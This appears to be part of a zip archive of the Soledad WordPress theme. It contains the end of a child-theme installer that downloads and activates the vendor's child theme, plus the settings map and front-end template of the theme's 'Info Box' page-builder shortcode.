		$child_theme_name  = $parent_theme_name . '-child';
		$theme_root        = WP_CONTENT_DIR . '/themes';
		$child_theme_path  = $theme_root . '/' . $child_theme_name;

		$child_theme_zip = 'https://s3.amazonaws.com/soledad-plugins/soledad-child.zip';

		if ( ! file_exists( $child_theme_path ) ) {
			$dir = wp_mkdir_p( $child_theme_path );
			if ( ! $dir ) {
				echo wp_json_encode( array( 'status' => 'dir_not_exists' ) );
				die();
			}

			// Download the child theme zip file
			$response = wp_remote_get( $child_theme_zip, array( 'timeout' => 60 ) );
			if ( is_wp_error( $response ) || 200 !== wp_remote_retrieve_response_code( $response ) ) {
				echo wp_json_encode( array( 'status' => 'download_error' ) );
				die();
			}
			$zip_file = $theme_root . '/soledad-child.zip';
			$zip_data = wp_remote_retrieve_body( $response );
			if ( ! file_put_contents( $zip_file, $zip_data ) ) {
				echo wp_json_encode( array( 'status' => 'file_error' ) );
				die();
			}

			// Unzip the child theme
			$unzip_result = unzip_file( $zip_file, $theme_root );
			if ( is_wp_error( $unzip_result ) ) {
				echo wp_json_encode( array( 'status' => 'unzip_error' ) );
				die();
			}

			// Remove the zip file after unzipping
			unlink( $zip_file );
			// Activate the child theme

			$child_theme = wp_get_theme( $child_theme_name );
			if ( ! $child_theme->exists() ) {
				echo wp_json_encode( array( 'status' => 'theme_not_exists' ) );
				die();
			}

			// Switch to the child theme
			$parent_theme = wp_get_theme( $parent_theme_name );
			if ( ! $parent_theme->exists() ) {
				echo wp_json_encode( array( 'status' => 'parent_theme_not_exists' ) );
				die();
			}

			// Check if the child theme is already active
			if ( is_child_theme() && get_template() === $parent_theme_name ) {
				echo wp_json_encode( array( 'status' => 'already_active' ) );
				die();
			}

			// Update allowed themes for multisite
			if ( is_multisite() ) {
				$allowed_themes = get_site_option( 'allowedthemes' );
				if ( ! is_array( $allowed_themes ) ) {
					$allowed_themes = array();
				}
				$allowed_themes[ $child_theme_name ] = true;
				update_site_option( 'allowedthemes', $allowed_themes );
			}
		}

		if ( $parent_theme_name !== $child_theme_name ) {
			switch_theme( $child_theme_name );
			echo wp_json_encode( array( 'status' => 'success' ) );
			die();
		}
	}

	public function tgmpa_load() {
		return is_admin() || current_user_can( 'install_themes' );
	}
}

Soledad_Theme_Installations::get_instance();
PK     N\*{FD  FD  0  inc/js_composer/shortcodes/info_box/settings.phpnu [        <?php
$group_icon  = 'Icon';
$group_line  = 'Line';
$group_color = 'Typo & Color';

vc_map( array(
	'base'          => "penci_info_box",
	'icon'          => PENCI_SOLEDAD_URL . '/images/vc-icon.png',
	'category'      => penci_get_theme_name( 'Soledad' ),
	'html_template' => PENCI_SOLEDAD_DIR . '/inc/js_composer/shortcodes/info_box/frontend.php',
	'weight'        => 700,
	'name'          => penci_get_theme_name( 'Penci' ) . ' ' . __( 'Info Box', 'soledad' ),
	'description'   => __( 'Info Box Block', 'soledad' ),
	'controls'      => 'full',
	'params'        => array(
		array(
			'type'             => 'textfield',
			'param_name'       => 'gnr_setting_heading',
			'heading'          => esc_html__( 'General', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Sub Title', 'soledad' ),
			'param_name' => 'subtitle',
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Title', 'soledad' ),
			'param_name' => 'title_text',
		),
		array(
			'type'        => 'penci_switch',
			'heading'     => __( 'Use line below the title', 'soledad' ),
			'param_name'  => '_use_line',
			'true_state'  => 'yes',
			'false_state' => 'no',
			'default'     => 'no',
			'std'         => 'no',
		),
		array(
			'type'       => 'textarea',
			'heading'    => esc_html__( 'Content', 'soledad' ),
			'param_name' => 'description_text',
			'value'      => esc_html__( 'Insert your content here', 'soledad' )
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Icon position', 'soledad' ),
			'param_name' => 'icon_position',
			'value'      => array(
				esc_html__( 'Top left', 'soledad' )    => 'top-left',
				esc_html__( 'Top center', 'soledad' )  => 'top-center',
				esc_html__( 'Top right', 'soledad' )   => 'top-right',
				esc_html__( 'Float left', 'soledad' )  => 'float-left',
				esc_html__( 'Float right', 'soledad' ) => 'float-right'
			),
			'std'        => 'float-left',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'stitle_mar_top',
			'heading'          => __( 'Custom Margin Top for Sub Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_mar_top',
			'heading'          => __( 'Custom Margin Top for Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'title_mar_bottom',
			'heading'          => __( 'Custom Margin Bottom for Title', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'des_mar_top',
			'heading'    => __( 'Custom Margin Top for Description', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
		),

		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Icon type', 'soledad' ),
			'param_name' => 'icon_type',
			'value'      => array(
				esc_html__( 'Icon', 'soledad' )  => 'icon',
				esc_html__( 'Image', 'soledad' ) => 'image',
				esc_html__( 'Text', 'soledad' )  => 'text',
			),
			'group'      => 'Icon & Image'
		),
		array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Image', 'soledad' ),
			'param_name'       => 'image',
			'dependency'       => array( 'element' => 'icon_type', 'value' => 'image' ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => 'Icon & Image'
		),
		array(
			'type'             => 'attach_image',
			'heading'          => esc_html__( 'Image hover', 'soledad' ),
			'param_name'       => 'image_hover',
			'dependency'       => array( 'element' => 'icon_type', 'value' => 'image' ),
			'group'            => 'Icon & Image',
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'        => 'iconpicker',
			'heading'     => __( 'Icon', 'soledad' ),
			'param_name'  => 'icon_fontawesome',
			'value'       => 'fa fa-adjust',
			'settings'    => array( 'emptyIcon' => false, 'iconsPerPage' => 100 ),
			'description' => __( 'Select icon from library.', 'soledad' ),
			'dependency'  => array( 'element' => 'icon_type', 'value' => 'icon' ),
			'group'       => 'Icon & Image'
		),
		array(
			'type'       => 'textfield',
			'heading'    => esc_html__( 'Icon Text', 'soledad' ),
			'value'      => esc_html__( '02', 'soledad' ),
			'dependency' => array( 'element' => 'icon_type', 'value' => 'text' ),
			'param_name' => 'icontext',
			'group'      => 'Icon & Image'
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'View', 'soledad' ),
			'param_name'       => 'icon_view',
			'value'            => array(
				esc_html__( 'Default', 'soledad' ) => 'default',
				esc_html__( 'Stacked', 'soledad' ) => 'stacked',
				esc_html__( 'Framed', 'soledad' )  => 'framed',
			),
			'group'            => 'Icon & Image',
			'dependency'       => array( 'element' => 'icon_type', 'value' => array( 'icon', 'text' ) ),
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'dropdown',
			'heading'          => esc_html__( 'Shape', 'soledad' ),
			'param_name'       => 'icon_shape',
			'value'            => array(
				esc_html__( 'Circle', 'soledad' ) => 'circle',
				esc_html__( 'Square', 'soledad' ) => 'square'
			),
			'group'            => 'Icon & Image',
			'dependency'       => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'dropdown',
			'heading'    => esc_html__( 'Hover Animation', 'soledad' ),
			'param_name' => 'icon_hover_animation',
			'value'      => array(
				esc_html__( 'None', 'soledad' )           => '',
				esc_html__( 'Grow', 'soledad' )           => 'grow',
				esc_html__( 'Shrink', 'soledad' )         => 'shrink',
				esc_html__( 'Pulse', 'soledad' )          => 'pulse',
				esc_html__( 'Pulse Grow', 'soledad' )     => 'pulse-grow',
				esc_html__( 'Pulse Shrink', 'soledad' )   => 'pulse-shrink',
				esc_html__( 'Push', 'soledad' )           => 'push',
				esc_html__( 'Pop', 'soledad' )            => 'pop',
				esc_html__( 'Custom Style 1', 'soledad' ) => 'custom-1',
				esc_html__( 'Custom Style 2', 'soledad' ) => 'custom-2',
				esc_html__( 'Custom Style 3', 'soledad' ) => 'custom-3',
				esc_html__( 'Custom Style 4', 'soledad' ) => 'custom-4',
				esc_html__( 'Custom Style 5', 'soledad' ) => 'custom-5'
			),
			'group'      => 'Icon & Image',
			'dependency' => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'icon_width',
			'heading'          => __( 'Width/Height for Box Contain Icon', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => 'Icon & Image',
			'edit_field_class' => 'vc_col-sm-6',
			'dependency'       => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'icon_padding',
			'heading'          => __( 'Custom Padding for Icon', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'group'            => 'Icon & Image',
			'edit_field_class' => 'vc_col-sm-6',
			'dependency'       => array( 'element' => 'icon_view', 'value_not_equal_to' => 'default' ),
		),
		array(
			'type'        => 'vc_link',
			'heading'     => __( 'URL (Link)', 'soledad' ),
			'param_name'  => '_link',
			'description' => __( 'Add link to icon.', 'soledad' ),
		),


		// Line
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'pline_width',
			'heading'          => __( 'Line width', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_line,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'pline_height',
			'heading'          => __( 'Line height', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_line,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'line_margin_top',
			'heading'          => __( 'Margin top', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'edit_field_class' => 'vc_col-sm-6',
			'group'            => $group_line,
		),
		array(
			'type'             => 'penci_responsive_sizes',
			'param_name'       => 'line_margin_bottom',
			'heading'          => __( 'Margin bototm', 'soledad' ),
			'value'            => '',
			'std'              => '',
			'suffix'           => 'px',
			'min'              => 1,
			'edit_field_class' => 'vc_col-sm-6',
			'dependency'       => array( 'element' => '_use_line', 'value' => 'true', ),
			'group'            => $group_line,
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Custom color for Line', 'soledad' ),
			'param_name'       => 'line_color',
			'group'            => $group_line,
			'edit_field_class' => 'vc_col-sm-6',
		),

		// Typo
		array(
			'type'             => 'textfield',
			'param_name'       => 'ib_typo_heading',
			'heading'          => esc_html__( 'Infor Box', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Background color', 'soledad' ),
			'param_name'       => 'ib_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Borders color', 'soledad' ),
			'param_name'       => 'ib_bdcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'ib_borderwidth',
			'heading'    => __( 'Borders Width', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'ib_paddingleft',
			'heading'    => __( 'Padding Left & Right', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => 'ib_paddingtop',
			'heading'    => __( 'Padding Top & Bottom', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'icon_typo_heading',
			'heading'          => esc_html__( 'Icon', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon color', 'soledad' ),
			'param_name'       => 'icon_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon background color', 'soledad' ),
			'param_name'       => 'icon_bgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon border color', 'soledad' ),
			'param_name'       => 'icon_border_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon hover color', 'soledad' ),
			'param_name'       => 'icon_hcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon hover background color', 'soledad' ),
			'param_name'       => 'icon_hbgcolor',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Icon hover border color', 'soledad' ),
			'param_name'       => 'icon_hborder_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		// Typo title
		array(
			'type'             => 'textfield',
			'param_name'       => 'stitle_typo_heading',
			'heading'          => esc_html__( 'Sub Title', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Sub Title color', 'soledad' ),
			'param_name'       => 'stitle_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_stitle_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_stitle_fsize',
			'heading'    => __( 'Font Size for Sub Title', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		array(
			'type'             => 'textfield',
			'param_name'       => 'title_typo_heading',
			'heading'          => esc_html__( 'Title', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'             => 'colorpicker',
			'heading'          => esc_html__( 'Title color', 'soledad' ),
			'param_name'       => 'title_color',
			'group'            => $group_color,
			'edit_field_class' => 'vc_col-sm-6',
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_title_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_title_fsize',
			'heading'    => __( 'Font Size for Title', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),

		// Content Typography
		array(
			'type'             => 'textfield',
			'param_name'       => '_content_typo_heading',
			'heading'          => esc_html__( 'Content', 'soledad' ),
			'value'            => '',
			'group'            => $group_color,
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		array(
			'type'       => 'colorpicker',
			'heading'    => esc_html__( 'Content color', 'soledad' ),
			'param_name' => '_content_color',
			'group'      => $group_color,
		),
		array(
			'type'       => 'google_fonts',
			'param_name' => '_content_typo',
			'value'      => '',
			'group'      => $group_color,
		),
		array(
			'type'       => 'penci_responsive_sizes',
			'param_name' => '_content_fsize',
			'heading'    => __( 'Font Size for Content', 'soledad' ),
			'value'      => '',
			'std'        => '',
			'suffix'     => 'px',
			'min'        => 1,
			'group'      => $group_color,
		),
		array(
			'type'             => 'textfield',
			'param_name'       => 'extra_options',
			'heading'          => esc_html__( 'Extra Options', 'soledad' ),
			'value'            => '',
			'edit_field_class' => 'penci-param-heading-wrapper no-top-margin vc_column vc_col-sm-12',
		),
		vc_map_add_css_animation(),
		array(
			'type'        => 'textfield',
			'heading'     => esc_html__( 'Extra class name', 'soledad' ),
			'param_name'  => 'el_class',
			'description' => esc_html__( 'Style particular content element differently - add a class name and refer to it in custom CSS.', 'soledad' ),
		),
		array(
			'type'       => 'css_editor',
			'heading'    => __( 'CSS box', 'soledad' ),
			'param_name' => 'css',
			'group'      => __( 'Design Options', 'soledad' ),
		),
		penci_get_vc_responsive_spacing_map(),
	)
) );
PK     N\#i2.  .  0  inc/js_composer/shortcodes/info_box/frontend.phpnu [        <?php
/**
 * Shortcode attributes
 * @var $atts
 * @var $title_text
 * @var $_use_line
 * @var $description_text
 * @var $icon_position
 * @var $stitle_mar_top
 * @var $title_mar_top
 * @var $title_mar_bottom
 * @var $des_mar_top
 * @var $icon_type
 * @var $image
 * @var $image_hover
 * @var $icon_fontawesome
 * @var $icon_view
 * @var $icon_shape
 * @var $icon_hover_animation
 * @var $img_wh
 * @var $icon_mar_bottom
 * @var $icon_padding
 * @var $icon_width
 * @var $_link
 * @var $pline_width
 * @var $pline_height
 * @var $line_margin_top
 * @var $line_margin_bottom
 * @var $line_color
 * @var $icon_color
 * @var $icon_bgcolor
 * @var $icon_border_color
 * @var $icon_hcolor
 * @var $icon_hbgcolor
 * @var $icon_hborder_color
 * @var $title_color
 * @var $_title_typo
 * @var $_title_fsize
 * @var $_content_color
 * @var $_content_typo
 * @var $_content_fsize
 * @var $css_animation
 * @var $el_class
 * @var $css
 */

$el_class = $css_animation = $css = $responsive_spacing = '';

$atts = vc_map_get_attributes( $this->getShortcode(), $atts );
extract( $atts );

$class_to_filter = '';
$class_to_filter .= vc_shortcode_custom_css_class( $css, ' ' ) . $this->getExtraClass( $el_class ) . $this->getCSSAnimation( $css_animation );

$css_class = 'penci-block-vc penci-info-box';
$css_class .= $icon_position ? ' penci-ibox-' . $icon_position : 'penci-ibox-float-left';
$css_class .= $icon_view ? ' penci-view-' . $icon_view : '';
$css_class .= $icon_shape ? ' penci-shape-' . $icon_shape : '';
$css_class .= ' ' . apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, $class_to_filter, $this->settings['base'], $atts );
$inner_class = $icon_hover_animation ? ' penci-animation-' . $icon_hover_animation : '';

$block_id = Penci_Vc_Helper::get_unique_id_block( 'info_box' );

$url      = vc_build_link( $_link );
vc_icon_element_fonts_enqueue( 'fontawesome' );

$a_before = '<span class="penci-ibox-icon-fa">';
$a_after  = '</span>';
if ( strlen( $_link ) > 0 && strlen( $url['url'] ) > 0 ) {
	$a_before = '<a class="penci-ibox-icon-fa-fix" href="' . esc_attr( $url['url'] ) . '" target="' . ( strlen( $url['target'] ) > 0 ? esc_attr( $url['target'] ) : '_self' ) . '"></a>';
	$a_before .= '<a class="penci-ibox-icon-fa" href="' . esc_attr( $url['url'] ) . '" title="' . esc_attr( $url['title'] ) . '" target="' . ( strlen( $url['target'] ) > 0 ? esc_attr( $url['target'] ) : '_self' ) . '">';
	$a_after  = '</a>';
}
?>
<div id="<?php echo esc_attr( $block_id ) ?>" class="<?php echo esc_attr( $css_class ); ?>">
	<div class="penci-ibox-inner<?php echo $inner_class; ?>">
		<?php
		if ( in_array( $icon_type, array( 'icon', 'text' ) ) ) {
			echo '<div class="penci-ibox-icon penci-ibox-icon--icon penci-icon penci-tibox-'. $icon_type .'">';
			echo $a_before;
			if( 'text' == $icon_type ){
				echo '<div class="pc-ibox-ctext">'. $icontext .'</div>';
			} else {
				echo '<i class="penci-ibox-icon--i ' . $icon_fontawesome . '"></i>';
			}
			echo $a_after;
			echo '</div>';
		} elseif ( $image ) {
			echo '<div class="penci-ibox-icon penci-ibox-icon--image">';
			echo $a_before;
			echo '<img class="' . ( $image_hover ? 'penci-ibox-img_active' : '' ) . '" src="' . esc_url( wp_get_attachment_url( $image ) ) . '">';

			if ( $image_hover ) {
				echo '<img class="penci-ibox-img_hover" src="' . esc_url( wp_get_attachment_url( $image_hover ) ) . '">';
			}

			echo $a_after;
			echo '</div>';
		}
		?>
		<div class="penci-ibox-content-wrap">
		<?php if( $subtitle ): ?><div class="penci-ibox-stit"><?php echo $subtitle; ?></div><?php endif; ?>
		<?php if( $title_text ): ?><h3 class="penci-ibox-title"><?php echo $title_text; ?></h3><?php endif; ?>
		<?php if( 'yes' == $_use_line ): ?><div class="pc-ibox-wpline"><span class="penci-ibox-line"></span></div><?php endif; ?>
		<?php if( $description_text ): ?><div class="penci-ibox-content"><?php echo do_shortcode( wpautop( $description_text ) ); ?></div><?php endif; ?>
		</div>
	</div>
</div>
<?php
$id_info_box = '#' . $block_id;
$id_info_box2 = 'body:not(.pcdm-enable) #' . $block_id;

$css_custom = '';
if ( $atts['stitle_mar_top'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-stit{margin-top:' . esc_attr( $atts['stitle_mar_top'] ) . '}';
}
if ( $atts['title_mar_top'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-title{margin-top:' . esc_attr( $atts['title_mar_top'] ) . '}';
}
if ( $atts['title_mar_bottom'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-title{margin-bottom:' . esc_attr( $atts['title_mar_bottom'] ) . '}';
}
if ( $atts['des_mar_top'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-content{margin-top:' . esc_attr( $atts['des_mar_top'] ) . '}';
}
if ( $atts['ib_bgcolor'] ) {
	$css_custom .= $id_info_box2 . '{ background-color: ' . esc_attr( $atts['ib_bgcolor'] ) . '; }';
}
if ( $atts['ib_bdcolor'] ) {
	$css_custom .= $id_info_box2 . '{ border: 1px solid ' . esc_attr( $atts['ib_bdcolor'] ) . '; }';
}
if ( $atts['ib_borderwidth'] ) {
	$css_custom .= $id_info_box . '{ border-width: ' . esc_attr( $atts['ib_borderwidth'] ) . '; }';
}
if ( $atts['ib_paddingleft'] ) {
	$css_custom .= $id_info_box . '{ padding-left: ' . esc_attr( $atts['ib_paddingleft'] ) . '; padding-right: ' . esc_attr( $atts['ib_paddingleft'] ) . '; }';
}
if ( $atts['ib_paddingtop'] ) {
	$css_custom .= $id_info_box . '{ padding-top: ' . esc_attr( $atts['ib_paddingtop'] ) . '; padding-bottom: ' . esc_attr( $atts['ib_paddingtop'] ) . '; }';
}

$line_custom_css = '';
if ( $atts['pline_width'] ) {
	$line_custom_css .= 'width:' . esc_attr( $atts['pline_width'] ) . ';';
}
if ( $atts['pline_height'] ) {
	$line_custom_css .= 'height:' . esc_attr( $atts['pline_height'] ) . ';';
}
if ( $atts['line_margin_top'] ) {
	$line_custom_css .= 'margin-top:' . esc_attr( $atts['line_margin_top'] ) . ';';
}
if ( $atts['line_margin_bottom'] ) {
	$line_custom_css .= 'margin-bottom:' . esc_attr( $atts['line_margin_bottom'] ) . ';';
}
if ( $atts['line_color'] ) {
	$line_custom_css .= 'color:' . esc_attr( $atts['line_color'] ) . ';';
}
if ( $line_custom_css ) {
	$css_custom .= $id_info_box . ' .penci-ibox-line{' . esc_attr( $line_custom_css ) . '}';
}

if ( $atts['icon_padding'] ) {
	$css_custom .= $id_info_box . '.penci-view-stacked .penci-icon, '. $id_info_box . '.penci-view-framed .penci-icon{ padding:' . esc_attr( $atts['icon_padding'] ) . '}';
}
if ( ! $atts['icon_width'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-icon{width: ' . esc_attr( $atts['icon_width'] ) . ';height:' . esc_attr( $atts['icon_width'] ) . ';display: flex; align-items: center; justify-content: center;}';
}

if ( $atts['icon_color'] ) {
	$css_custom .= $id_info_box2 . ' .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-icon svg,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-icon a { color:' . esc_attr( $atts['icon_color'] ) . '; fill:' . esc_attr( $atts['icon_color'] ) . '; }';
}
if ( $atts['icon_bgcolor'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon:after';
	$css_custom .= '{ background-color:' . esc_attr( $atts['icon_bgcolor'] ) . ' }';
}
if ( $atts['icon_border_color'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-2 .penci-ibox-icon:after';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-5 .penci-ibox-icon:after{ border-color: ' . esc_attr( $atts['icon_border_color'] ) . '; }';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3 .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4 .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5 .penci-ibox-icon{ box-shadow: inset 0 0 0 3px ' . esc_attr( $atts['icon_border_color'] ) . '; }';
}

if ( $atts['icon_hcolor'] ) {
	$css_custom .= $id_info_box2 . ' .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-inner:hover .penci-ibox-icon svg,';
	$css_custom .= $id_info_box2 . ' .penci-ibox-inner:hover .penci-ibox-icon a { color:' . esc_attr( $atts['icon_hcolor'] ) . ';fill:' . esc_attr( $atts['icon_hcolor'] ) . '; }';
}
if ( $atts['icon_hbgcolor'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-1 .penci-ibox-icon:after';
	$css_custom .= '{ background-color:' . esc_attr( $atts['icon_hbgcolor'] ) . ' }';
}
if ( $atts['icon_hborder_color'] ) {
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-ibox-inner:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-2:hover  .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-5:hover  .penci-ibox-icon:after';
	$css_custom .= '{ border-color:' . esc_attr( $atts['icon_hbgcolor'] ) . ' }';

	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-2 .penci-ibox-icon:after,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-1 .penci-ibox-icon:after{ box-shadow: 0 0 0 3px ' . esc_attr( $atts['icon_hborder_color'] ) . '; }';

	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-3:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-4:hover .penci-ibox-icon,';
	$css_custom .= $id_info_box2 . '.penci-view-stacked .penci-animation-custom-5:hover .penci-ibox-icon{ box-shadow: inset 0 0 0 3px ' . esc_attr( $atts['icon_hborder_color'] ) . '; }';
	$css_custom .= $id_info_box2 . '.penci-view-framed .penci-animation-custom-5:hover .penci-ibox-icon{ box-shadow: 0 0 0 6px ' . esc_attr( $atts['icon_hborder_color'] ) . '; }';
}

if ( $atts['stitle_color'] ) {
	$css_custom .= $id_info_box . ' .penci-ibox-stit{ color: ' . esc_attr( $atts['stitle_color'] ) . '; }';
}
$css_custom .= Penci_Vc_Helper::vc_google_fonts_parse_attributes( array(
	'font_size'  => $atts['_stitle_fsize'],
	'font_style' => $atts['_stitle_typo'],
	'template'   => $id_info_box . ' .penci-ibox-stit{ %s }',
) );

if ( $atts['title_color'] ) {
	$css_custom .= $id_info_box2 . ' .penci-ibox-title{ color: ' . esc_attr( $atts['title_color'] ) . '; }';
}
